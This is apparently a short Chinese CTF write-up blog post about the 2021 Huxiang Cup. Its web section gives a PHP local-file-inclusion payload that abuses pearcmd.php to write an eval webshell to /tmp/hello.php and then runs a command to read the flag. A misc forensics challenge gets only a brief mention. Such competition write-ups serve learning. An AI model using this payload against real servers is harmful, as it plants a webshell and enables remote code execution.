2021湖湘杯

最新推荐文章于 2024-06-29 22:10:23 发布

「已注销」

最新推荐文章于 2024-06-29 22:10:23 发布

阅读量3.1k

点赞数

分类专栏： CTF Writeup 文章标签：安全

本文链接：https://blog.csdn.net/qq_41636200/article/details/121786069

版权

本文回顾了2021湖湘杯网络安全竞赛，重点讨论了Web安全题目easywii，涉及PHP本地文件包含漏洞，并分享了利用Docker和PHP的知识进行攻击的方法。在Misc类别中，提到了一个取证题，通过量子密码爆破和zip压缩包的解密技术，成功获取部分flag。

摘要由CSDN通过智能技术生成

只做了一个web，还是问了队友。misc三道题太难了。最后复盘做出来了一个。

web

队友说是p神的知识星球中的内容。后来被人打烂了。

payload

?+config-create+/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST['a']);?>+/tmp/hello.php

然后访问/tmp/hello.php就可以访问shell了。

?+config-create+/&name=cfile&value=/tmp/hello.php
post a=system("cat /f*");

这个题，复盘做的时候，居然是量子密码爆破。

下载下来是个raw文件。队友说有专用软件，我就不凑热闹了。导出来一张图片，有半个flag。

关注

专栏目录